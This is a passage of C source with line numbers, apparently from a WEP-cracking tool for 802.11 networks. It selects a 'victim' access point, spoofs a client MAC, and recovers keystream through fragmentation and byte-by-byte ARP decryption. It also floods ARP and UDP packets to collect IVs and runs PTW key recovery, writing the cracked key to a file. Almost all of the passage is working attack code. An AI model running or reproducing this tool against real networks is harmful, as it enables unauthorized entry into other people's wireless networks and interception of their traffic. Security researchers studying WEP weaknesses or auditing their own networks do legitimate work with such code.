1156         printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1157                 type, stype, mac2str(wh->i_addr2), len);
1158 #endif
1159 }
1160
1161 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1162         unsigned char* body;
1163         int bodylen;
1164         unsigned char clear[36];
1165         unsigned char* ptr;
1166         struct arphdr* h;
1167         int i;
1168
1169         body = (unsigned char*) wh+sizeof(*wh);
1170         ptr = clear;
1171
1172         // calculate clear-text
1173         memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1174         ptr += sizeof(arp_clear) -1;
1175
1176         h = (struct arphdr*)ptr;
1177         h->ar_hrd = htons(ARPHRD_ETHER);
1178         h->ar_pro = htons(ETHERTYPE_IP);
1179         h->ar_hln = 6;
1180         h->ar_pln = 4;
1181         h->ar_op = htons(ARPOP_REQUEST);
1182         ptr += sizeof(*h);
1183
1184         memcpy(ptr, wh->i_addr3, 6);
1185
1186         bodylen = rd - sizeof(*wh) - 4 - 4;
1187         decryptstate.clen = bodylen;
1188         decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1189         if (!decryptstate.cipher) {
1190                 perror("malloc()");
1191                 exit(1);
1192         }
1193         decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1194         if (!decryptstate.prgainfo.prga) {
1195                 perror("malloc()");
1196                 exit(1);
1197         }
1198
1199
1200         memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1201         memcpy(decryptstate.prgainfo.iv, body, 3);
1202
1203         memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1204         for(i = 0; i < (8+8+6); i++) {
1205                 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1206                                                 clear[i];
1207         }
1208
1209         decryptstate.prgainfo.len = i;
1210         time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1211 }
1212
1213 void log_wep(struct ieee80211_frame* wh, int len) {
1214         int rd;
1215         struct pcap_pkthdr pkh;
1216         struct timeval tv;
1217         unsigned char *body = (unsigned char*) (wh+1);
1218
1219         memset(&pkh, 0, sizeof(pkh));
1220         pkh.caplen = pkh.len = len;
1221         if (gettimeofday(&tv, NULL) == -1)
1222                 err(1, "gettimeofday()");
1223         pkh.ts = tv;
1224         if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1225                 err(1, "write()");
1226
1227         rd = write(weplog.fd, wh, len);
1228
1229         if (rd == -1) {
1230                 perror("write()");
1231                 exit(1);
1232         }
1233         if (rd != len) {
1234                 time_print("short write %d out of %d\n", rd, len);
1235                 exit(1);
1236         }
1237
1238 #if 0
1239         if (fsync(weplog.fd) == -1) {
1240                 perror("fsync()");
1241                 exit(1);
1242         }
1243 #endif
1244
1245         memcpy(weplog.iv, body, 3);
1246         weplog.packets++;
1247 }
1248
1249 void try_dictionary(struct ieee80211_frame* wh, int len) {
1250         unsigned char *body;
1251         char path[52];
1252         char paths[3][3];
1253         int i;
1254         int fd, rd;
1255         unsigned char packet[4096];
1256         int dlen;
1257         struct ether_header* eh;
1258         uLong crc;
1259         unsigned long *pcrc;
1260         unsigned char* dmac, *smac;
1261
1262         assert (len < sizeof(packet) + sizeof(*eh));
1263
1264         body = (unsigned char*) wh + sizeof(*wh);
1265
1266         for (i = 0; i < 3; i++)
1267                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1268
1269         sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1270
1271         fd = open(path, O_RDONLY);
1272         if (fd == -1)
1273                 return;
1274
1275         rd = read(fd, &packet[6], sizeof(packet)-6);
1276         if (rd == -1) {
1277                 perror("read()");
1278                 exit(1);
1279         }
1280         close(fd);
1281
1282
1283         dlen = len - sizeof(*wh) - 4;
1284         if (dlen > rd) {
1285                 printf("\n");
1286                 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1287                 dlen);
1288                 return;
1289         }
1290
1291         body += 4;
1292         for (i = 0; i < dlen; i++)
1293                 packet[6+i] ^= body[i];
1294
1295         dlen -= 4;
1296         crc = crc32(0L, Z_NULL, 0);
1297         crc = crc32(crc, &packet[6], dlen);
1298         pcrc = (unsigned long*) (&packet[6+dlen]);
1299
1300         if (*pcrc != crc) {
1301                 printf("\n");
1302                 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1303                            path, *pcrc, crc);
1304                 return;
1305         }
1306
1307         // fill ethernet header
1308         eh = (struct ether_header*) packet;
1309         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1310                 smac = wh->i_addr3;
1311         else
1312                 smac = wh->i_addr2;
1313
1314         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1315                 dmac = wh->i_addr3;
1316         else
1317                 dmac = wh->i_addr1;
1318
1319         memcpy(eh->ether_dhost, dmac, 6);
1320         memcpy(eh->ether_shost, smac, 6);
1321         // ether type should be there from llc
1322
1323         dlen -= 8; // llc
1324         dlen += sizeof(*eh);
1325
1326 #if 0
1327         printf("\n");
1328         time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1329         hexdump(packet, dlen);
1330 #endif
1331
1332         rd = write(tapfd, packet, dlen);
1333         if (rd == -1) {
1334                 perror("write()");
1335                 exit(1);
1336         }
1337         if (rd != dlen) {
1338                 printf("Wrote %d / %d\n", rd, dlen);
1339                 exit(1);
1340         }
1341 }
1342
1343 int is_arp(struct ieee80211_frame *wh, int len)
1344 {
1345         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1346
1347         if (len == arpsize || len == 54)
1348                 return 1;
1349
1350         return 0;
1351 }
1352
1353 void *get_sa(struct ieee80211_frame *wh)
1354 {
1355         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1356                 return wh->i_addr3;
1357         else
1358                 return wh->i_addr2;
1359 }
1360
1361 void *get_da(struct ieee80211_frame *wh)
1362 {
1363         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1364                 return wh->i_addr1;
1365         else
1366                 return wh->i_addr3;
1367 }
1368
1369 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1370 {
1371         unsigned char *ptr = clear;
1372
1373         /* IP */
1374         if (!is_arp(wh, len)) {
1375                 unsigned short iplen = htons(len - 8);
1376
1377 //                printf("Assuming IP %d\n", len);
1378
1379                 len = sizeof(S_LLC_SNAP_IP) - 1;
1380                 memcpy(ptr, S_LLC_SNAP_IP, len);
1381                 ptr += len;
1382 #if 1
1383                 len = 2;
1384                 memcpy(ptr, "\x45\x00", len);
1385                 ptr += len;
1386
1387                 memcpy(ptr, &iplen, len);
1388                 ptr += len;
1389 #endif
1390                 len = ptr - ((unsigned char*)clear);
1391                 return len;
1392         }
1393 //        printf("Assuming ARP %d\n", len);
1394
1395         /* arp */
1396         len = sizeof(S_LLC_SNAP_ARP) - 1;
1397         memcpy(ptr, S_LLC_SNAP_ARP, len);
1398         ptr += len;
1399
1400         /* arp hdr */
1401         len = 6;
1402         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1403         ptr += len;
1404
1405         /* type of arp */
1406         len = 2;
1407         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1408                 memcpy(ptr, "\x00\x01", len);
1409         else
1410                 memcpy(ptr, "\x00\x02", len);
1411         ptr += len;
1412
1413         /* src mac */
1414         len = 6;
1415         memcpy(ptr, get_sa(wh), len);
1416         ptr += len;
1417
1418         len = ptr - ((unsigned char*)clear);
1419         return len;
1420 }
1421
1422 void add_keystream(struct ieee80211_frame* wh, int rd)
1423 {
1424         unsigned char clear[1024];
1425         int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1426         int clearsize;
1427         unsigned char *body = (unsigned char*) (wh+1);
1428         int i;
1429
1430         clearsize = known_clear(clear, wh, dlen);
1431         if (clearsize < 16)
1432                 return;
1433
1434         for (i = 0; i < 16; i++)
1435                 clear[i] ^= body[4+i];
1436
1437         PTW_addsession(ptw, body, clear);
1438 }
1439
1440 void got_wep(struct ieee80211_frame* wh, int rd) {
1441         int bodylen;
1442         int dlen;
1443         unsigned char clear[1024];
1444         int clearsize;
1445         unsigned char *body;
1446
1447         bodylen = rd - sizeof(struct ieee80211_frame);
1448
1449         dlen = bodylen - 4 - 4;
1450         body = (unsigned char*) wh + sizeof(*wh);
1451
1452
1453         // log it if its stuff not from us...
1454         if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1455              ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1456                 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1457
1458                 if (body[3] != 0) {
1459                         time_print("Key index=%x!!\n", body[3]);
1460                         exit(1);
1461                 }
1462                 log_wep(wh, rd);
1463                 add_keystream(wh, rd);
1464
1465                 // try to decrypt too
1466                 try_dictionary(wh, rd);
1467         }
1468
1469         // look for arp-request packets... so we can decrypt em
1470         if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1471             (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1472             (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1473              (dlen == 36 || dlen == PADDED_ARPLEN) &&
1474             !decryptstate.cipher &&
1475             !netip) {
1476                 decrypt_arpreq(wh, rd);
1477         }
1478
1479         // we have prga... check if its our stuff being relayed...
1480         if (prgainfo.len != 0) {
1481                 // looks like it...
1482                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1483                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1484                     (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1485                     dlen == fragstate.len) {
1486
1487 //                      printf("I fink AP relayed it...\n");
1488                         set_prga(body, &body[4], fragstate.data, dlen);
1489                         free(fragstate.data);
1490                         fragstate.data = NULL;
1491                         fragstate.waiting_relay = 0;
1492                 }
1493
1494                 // see if we get the multicast stuff of when decrypting
1495                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1496                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1497                     (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1498                     dlen == 36) {
1499
1500                         unsigned char pr = wh->i_addr1[5];
1501
1502                         printf("\n");
1503                         time_print("Got clear-text byte: %d\n",
1504                         decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1505
1506                         decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1507                         decryptstate.prgainfo.len++;
1508                         decryptstate.fragstate.waiting_relay = 1;
1509
1510                         // ok we got the ip...
1511                         if (decryptstate.prgainfo.len == 26+1) {
1512                                 unsigned char ip[4];
1513                                 int i;
1514                                 struct in_addr *in = (struct in_addr*) ip;
1515                                 unsigned char *ptr;
1516
1517                                 for (i = 0; i < 4; i++)
1518                                         ip[i] = decryptstate.cipher[8+8+6+i] ^
1519                                                 decryptstate.prgainfo.prga[8+8+6+i];
1520
1521                                 assert(!netip);
1522                                 netip = (unsigned char*) malloc(16);
1523                                 if(!netip) {
1524                                         perror("malloc()");
1525                                         exit(1);
1526                                 }
1527
1528                                 memset(netip, 0, 16);
1529                                 strcpy(netip, inet_ntoa(*in));
1530
1531                                 time_print("Got IP=(%s)\n", netip);
1532                                 strcpy(myip, netip);
1533
1534                                 ptr = strchr(myip, '.');
1535                                 assert(ptr);
1536                                 ptr = strchr(ptr+1, '.');
1537                                 assert(ptr);
1538                                 ptr = strchr(ptr+1, '.');
1539                                 assert(ptr);
1540                                 strcpy(ptr+1,"123");
1541
1542                                 time_print("My IP=(%s)\n", myip);
1543
1544
1545                                 free(decryptstate.prgainfo.prga);
1546                                 free(decryptstate.cipher);
1547                                 memset(&decryptstate, 0, sizeof(decryptstate));
1548                         }
1549                 }
1550                 return;
1551         }
1552
1553         clearsize = known_clear(clear, wh, dlen);
1554         time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1555
1556         set_prga(body, &body[4], clear, clearsize);
1557 }
1558
1559 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1560         int type,stype;
1561
1562         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1563         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1564
1565         if (type == IEEE80211_FC0_TYPE_DATA &&
1566             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1567                 int dlen = rd - sizeof(struct ieee80211_frame);
1568
1569                 if (state == SPOOF_MAC) {
1570                         unsigned char mac[6];
1571                         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1572                                 memcpy(mac, wh->i_addr3, 6);
1573                         } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1574                                 memcpy(mac, wh->i_addr1, 6);
1575                         } else assert(0);
1576
1577                         if (mac[0] == 0xff || mac[0] == 0x1)
1578                                 return;
1579
1580                         memcpy(mymac, mac, 6);
1581                         time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1582                         state = FOUND_VICTIM;
1583                         return;
1584                 }
1585
1586                 // wep data!
1587                 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1588                         got_wep(wh, rd);
1589                 }
1590         }
1591 }
1592
1593 void anal(unsigned char* buf, int rd, int tx) { // yze
1594         struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1595         int type,stype;
1596         static int lastseq = -1;
1597         int seq;
1598         unsigned short *seqptr;
1599         int for_us = 0;
1600
1601         if (rd < 1) {
1602                 time_print("rd=%d\n", rd);
1603                 exit(1);
1604         }
1605
1606         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1607         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1608
1609         // sort out acks
1610         if (state >= FOUND_VICTIM) {
1611                 // stuff for us
1612                 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1613                         for_us = 1;
1614                         if (type != IEEE80211_FC0_TYPE_CTL)
1615                                 send_ack(tx);
1616                 }
1617         }
1618
1619         // XXX i know it aint great...
1620         seqptr = (unsigned short*)  wh->i_seq;
1621         seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1622         if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1623             type != IEEE80211_FC0_TYPE_CTL) {
1624 //              printf("Ignoring dup packet... seq=%d\n", seq);
1625                 return;
1626         }
1627         lastseq = seq;
1628
1629         // management frame
1630         if (type == IEEE80211_FC0_TYPE_MGT) {
1631                 if(state == FIND_VICTIM) {
1632                         if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1633                             stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1634
1635                                 if (get_victim_ssid(wh, rd)) {
1636                                         return;
1637                                 }
1638                         }
1639
1640                 }
1641         }
1642
1643         if (state >= FOUND_VICTIM) {
1644                 // stuff for us
1645                 if (for_us) {
1646                         stuff_for_us(wh, rd);
1647                 }
1648
1649                 // stuff in network [even for us]
1650                 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1651                           (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1652
1653                           ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1654                           (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1655                            ) {
1656                         stuff_for_net(wh, rd);
1657                 }
1658         }
1659 }
1660
1661 void do_arp(unsigned char* buf, unsigned short op,
1662             unsigned char* m1, unsigned char* i1,
1663             unsigned char* m2, unsigned char* i2) {
1664
1665         struct in_addr sip;
1666         struct in_addr dip;
1667         struct arphdr* h;
1668         unsigned char* data;
1669
1670         inet_aton(i1, &sip);
1671         inet_aton(i2, &dip);
1672         h = (struct arphdr*) buf;
1673
1674         memset(h, 0, sizeof(*h));
1675
1676         h->ar_hrd = htons(ARPHRD_ETHER);
1677         h->ar_pro = htons(ETHERTYPE_IP);
1678         h->ar_hln = 6;
1679         h->ar_pln = 4;
1680         h->ar_op = htons(op);
1681
1682         data = (unsigned char*) h + sizeof(*h);
1683
1684         memcpy(data, m1, 6);
1685         data += 6;
1686         memcpy(data, &sip, 4);
1687         data += 4;
1688
1689         memcpy(data, m2, 6);
1690         data += 6;
1691         memcpy(data, &dip, 4);
1692         data += 4;
1693 }
1694
1695 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1696         unsigned char buf[4096];
1697         struct ieee80211_frame* wh;
1698         unsigned char* body;
1699         int fragsize;
1700         uLong crc;
1701         unsigned long *pcrc;
1702         int i;
1703         unsigned short* seq;
1704         unsigned short sn, fn;
1705
1706         wh = (struct ieee80211_frame*) buf;
1707         memcpy(wh, &fs->wh, sizeof(*wh));
1708
1709         body = (unsigned char*) wh + sizeof(*wh);
1710         memcpy(body, &pi->iv, 3);
1711         body += 3;
1712         *body++ = 0; // key index
1713
1714         fragsize = fs->data + fs->len - fs->ptr;
1715
1716         assert(fragsize > 0);
1717
1718         if ( (fragsize + 4) > pi->len) {
1719                 fragsize = pi->len  - 4;
1720                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1721         }
1722         // last fragment
1723         else {
1724                 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1725         }
1726
1727         memcpy(body, fs->ptr, fragsize);
1728
1729         crc = crc32(0L, Z_NULL, 0);
1730         crc = crc32(crc, body, fragsize);
1731         pcrc = (unsigned long*) (body+fragsize);
1732         *pcrc = crc;
1733
1734         for (i = 0; i < (fragsize + 4); i++)
1735                 body[i] ^= pi->prga[i];
1736
1737         seq = (unsigned short*) &wh->i_seq;
1738         sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1739         fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1740 //      printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1741
1742         send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1743
1744         seq = (unsigned short*) &fs->wh.i_seq;
1745         *seq = fnseq(++fn, sn);
1746         fs->ptr += fragsize;
1747
1748         if (fs->ptr - fs->data == fs->len) {
1749 //              printf("Finished sending frags...\n");
1750                 fs->waiting_relay = 1;
1751         }
1752 }
1753
1754 void prepare_fragstate(struct frag_state* fs, int pad) {
1755         fs->waiting_relay = 0;
1756         fs->len = 8 + 8 + 20 + pad;
1757         fs->data = (unsigned char*) malloc(fs->len);
1758
1759         if(!fs->data) {
1760                 perror("malloc()");
1761                 exit(1);
1762         }
1763
1764         fs->ptr = fs->data;
1765
1766         do_llc(fs->data, ETHERTYPE_ARP);
1767         do_arp(&fs->data[8], ARPOP_REQUEST,
1768                mymac, myip,
1769                "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1770
1771         memset(&fs->wh, 0, sizeof(fs->wh));
1772         fill_basic(&fs->wh);
1773
1774         memset(fs->wh.i_addr3, 0xff, 6);
1775         fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1776         fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1777                                 IEEE80211_FC1_MORE_FRAG |
1778                                 IEEE80211_FC1_WEP;
1779
1780         memset(&fs->data[8+8+20], 0, pad);
1781 }
1782
1783 void discover_prga(int tx) {
1784
1785         // create packet...
1786         if (!fragstate.data) {
1787                 int pad = 0;
1788
1789                 if (prgainfo.len >= 20)
1790                         pad = prgainfo.len*3;
1791
1792                 prepare_fragstate(&fragstate, pad);
1793         }
1794
1795         if (!fragstate.waiting_relay) {
1796                 send_fragment(tx, &fragstate, &prgainfo);
1797                 if (fragstate.waiting_relay) {
1798                         if (gettimeofday(&fragstate.last, NULL) == -1)
1799                                 err(1, "gettimeofday()");
1800                 }
1801         }
1802 }
1803
1804 void decrypt(int tx) {
1805
1806         // gotta initiate
1807         if (!decryptstate.fragstate.data) {
1808                 prepare_fragstate(&decryptstate.fragstate, 0);
1809
1810                 memcpy(decryptstate.fragstate.wh.i_addr3,
1811                        MCAST_PREF, 5);
1812
1813                 decryptstate.fragstate.wh.i_addr3[5] =
1814                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1815
1816                 decryptstate.prgainfo.len++;
1817         }
1818
1819         // guess diff prga byte...
1820         if (decryptstate.fragstate.waiting_relay) {
1821                 unsigned short* seq;
1822                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1823
1824 #if 0
1825                 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1826                         printf("Can't decrpyt!\n");
1827                         exit(1);
1828                 }
1829 #endif
1830                 decryptstate.fragstate.wh.i_addr3[5] =
1831                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1832
1833                 decryptstate.fragstate.waiting_relay = 0;
1834                 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1835
1836                 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1837                 *seq = fnseq(0, txstate.psent);
1838         }
1839
1840         send_fragment(tx, &decryptstate.fragstate,
1841                       &decryptstate.prgainfo);
1842 }
1843
1844 void flood_inet(tx) {
1845         static int send_arp = -1;
1846         static unsigned char arp_pkt[128];
1847         static int arp_len;
1848         static unsigned char udp_pkt[128];
1849         static int udp_len;
1850         static struct timeval last_ip;
1851
1852         // need to init packets...
1853         if (send_arp == -1) {
1854                 unsigned char* body;
1855                 unsigned char* ptr;
1856                 struct ieee80211_frame* wh;
1857                 struct ip* ih;
1858                 struct udphdr* uh;
1859
1860                 memset(arp_pkt, 0, sizeof(arp_pkt));
1861                 memset(udp_pkt, 0, sizeof(udp_pkt));
1862
1863                 // construct ARP
1864                 wh = (struct ieee80211_frame*) arp_pkt;
1865                 fill_basic(wh);
1866
1867                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1868                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1869                 memset(wh->i_addr3, 0xff, 6);
1870
1871                 body = (unsigned char*) wh + sizeof(*wh);
1872                 ptr = body;
1873                 ptr += 4; // iv
1874
1875                 do_llc(ptr, ETHERTYPE_ARP);
1876                 ptr += 8;
1877                 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1878                        "\x00\x00\x00\x00\x00\x00", netip);
1879
1880                 wepify(body, 8+8+20);
1881                 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1882                 assert(arp_len < sizeof(arp_pkt));
1883
1884
1885                 // construct UDP
1886                 wh = (struct ieee80211_frame*) udp_pkt;
1887                 fill_basic(wh);
1888
1889                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1890                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1891                 memcpy(wh->i_addr3, rtrmac, 6);
1892
1893                 body = (unsigned char*) wh + sizeof(*wh);
1894                 ptr = body;
1895                 ptr += 4; // iv
1896
1897                 do_llc(ptr, ETHERTYPE_IP);
1898                 ptr += 8;
1899
1900                 ih = (struct ip*) ptr;
1901                 ih->ip_hl = 5;
1902                 ih->ip_v = 4;
1903                 ih->ip_tos = 0;
1904                 ih->ip_len = htons(20+8+5);
1905                 ih->ip_id = htons(666);
1906                 ih->ip_off = 0;
1907                 ih->ip_ttl = 128;
1908                 ih->ip_p = IPPROTO_UDP;
1909                 ih->ip_sum = 0;
1910
1911                 inet_aton(myip, &ih->ip_src);
1912                 inet_aton(floodip, &ih->ip_dst);
1913
1914                 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1915
1916                 ptr += 20;
1917                 uh = (struct udphdr*) ptr;
1918                 uh->uh_sport = htons(floodsport);
1919                 uh->uh_dport = htons(floodport);
1920                 uh->uh_ulen = htons(8+5);
1921                 uh->uh_sum = 0;
1922
1923                 ptr += 8;
1924                 strcpy(ptr, "sorbo");
1925
1926                 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1927                                           &ih->ip_dst);
1928
1929                 wepify(body, 8+20+8+5);
1930                 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1931                 assert(udp_len < sizeof(udp_pkt));
1932
1933                 // bootstrap
1934                 send_arp = 1;
1935
1936                 memset(&last_ip, 0, sizeof(last_ip));
1937         }
1938
1939         if (send_arp == 1) {
1940                 struct timeval now;
1941                 unsigned long sec;
1942
1943                 if (gettimeofday(&now, NULL) == -1) {
1944                         perror("gettimeofday()");
1945                         exit(1);
1946                 }
1947
1948                 sec = now.tv_sec - last_ip.tv_sec;
1949
1950                 if (sec < 5)
1951                         return;
1952
1953                 send_frame(tx, arp_pkt, arp_len);
1954                 send_arp = 0;
1955         }
1956
1957         else if (send_arp == 0) {
1958                 if (gettimeofday(&last_ip, NULL) == -1) {
1959                         perror("gettimeofday()");
1960                         exit(1);
1961                 }
1962
1963                 send_frame(tx, udp_pkt, udp_len);
1964                 send_arp = 1;
1965         } else assert(0);
1966 }
1967
1968 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1969               unsigned char* srcmac, unsigned char* dstip,
1970               unsigned char* dstmac) {
1971
1972         static unsigned char arp_pkt[128];
1973         unsigned char* body;
1974         unsigned char* ptr;
1975         struct ieee80211_frame* wh;
1976         int arp_len;
1977
1978         memset(arp_pkt, 0, sizeof(arp_pkt));
1979
1980         // construct ARP
1981         wh = (struct ieee80211_frame*) arp_pkt;
1982         fill_basic(wh);
1983
1984         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1985         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1986         memset(wh->i_addr3, 0xff, 6);
1987
1988         body = (unsigned char*) wh + sizeof(*wh);
1989         ptr = body;
1990         ptr += 4; // iv
1991
1992         do_llc(ptr, ETHERTYPE_ARP);
1993         ptr += 8;
1994         do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1995
1996         wepify(body, 8+8+20);
1997         arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1998         assert(arp_len < sizeof(arp_pkt));
1999
2000         send_frame(tx, arp_pkt, arp_len);
2001 }
2002
2003 void can_write(int tx) {
2004         static char arp_ip[16];
2005
2006         switch (state) {
2007                 case FOUND_VICTIM:
2008                         send_auth(tx);
2009                         state = SENDING_AUTH;
2010                         break;
2011
2012                 case GOT_AUTH:
2013                         send_assoc(tx);
2014                         state = SENDING_ASSOC;
2015                         break;
2016
2017                 case GOT_ASSOC:
2018                         if (prgainfo.prga && prgainfo.len < min_prga) {
2019                                 discover_prga(tx);
2020                                 break;
2021                         }
2022
2023                         if (decryptstate.cipher) {
2024                                 decrypt(tx);
2025                                 break;
2026                         }
2027
2028                         if (!prgainfo.prga)
2029                                 break;
2030
2031                         if (taptx_len) {
2032                                 send_frame(tx, taptx, taptx_len);
2033                                 taptx_len = 0;
2034                                 break;
2035                         }
2036
2037                         // try to find rtr mac addr
2038                         if (netip && !rtrmac) {
2039                                 char* ptr;
2040
2041                                 strcpy(arp_ip, netip);
2042                                 if (!netip_arg) {
2043                                         ptr = strchr(arp_ip, '.');
2044                                         assert(ptr);
2045                                         ptr = strchr(++ptr, '.');
2046                                         assert(ptr);
2047                                         ptr = strchr(++ptr, '.');
2048                                         assert(ptr);
2049                                         strcpy(++ptr, "1");
2050                                 }
2051
2052                                 if (gettimeofday(&arpsend, NULL) == -1)
2053                                         err(1, "gettimeofday()");
2054
2055                                 time_print("Sending arp request for: %s\n", arp_ip);
2056                                 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2057                                          arp_ip, "\x00\x00\x00\x00\x00\x00");
2058
2059                                 // XXX lame
2060                                 rtrmac = (unsigned char*)1;
2061                                 break;
2062                         }
2063
2064                         // need to generate traffic...
2065                         if (rtrmac > (unsigned char*)1 && netip) {
2066                                 if (floodip)
2067                                         flood_inet(tx);
2068                                 else {
2069                                         // XXX lame technique... anyway... im
2070                                         // only interested in flood_inet...
2071
2072                                         // could ping broadcast....
2073                                         send_arp(tx, ARPOP_REQUEST, myip, mymac,
2074                                                  arp_ip, "\x00\x00\x00\x00\x00\x00");
2075                                 }
2076
2077                                 break;
2078                         }
2079
2080                         break;
2081         }
2082 }
2083
2084 void save_key(unsigned char *key, int len)
2085 {
2086         char tmp[16];
2087         char k[64];
2088         int fd;
2089         int rd;
2090
2091         assert(len*3 < sizeof(k));
2092
2093         k[0] = 0;
2094         while (len--) {
2095                 sprintf(tmp, "%.2X", *key++);
2096                 strcat(k, tmp);
2097                 if (len)
2098                         strcat(k, ":");
2099         }
2100
2101         fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2102         if (fd == -1)
2103                 err(1, "open()");
2104
2105         printf("\nKey: %s\n", k);
2106         rd = write(fd, k, strlen(k));
2107         if (rd == -1)
2108                 err(1, "write()");
2109         if (rd != strlen(k))
2110                 errx(1, "write %d/%d\n", rd, strlen(k));
2111         close(fd);
2112 }
2113
2114 #define KEYLIMIT (1000000)
2115 int do_crack(void)
2116 {
2117         unsigned char key[PTW_KEYHSBYTES];
2118
2119         if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2120                 save_key(key, 13);
2121                 return 1;
2122         }
2123         if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2124                 save_key(key, 5);
2125                 return 1;
2126         }
2127
2128         return 0;
2129 }
2130
2131 void try_crack() {
2132         if (crack_pid) {
2133                 printf("\n");
2134                 time_print("Warning... previous crack still running!\n");
2135                 kill_crack();
2136         }
2137
2138         if (weplog.fd) {
2139                 if (fsync(weplog.fd) == -1)
2140                         err(1, "fsync");
2141         }
2142
2143         crack_pid = fork();
2144
2145         if (crack_pid == -1)
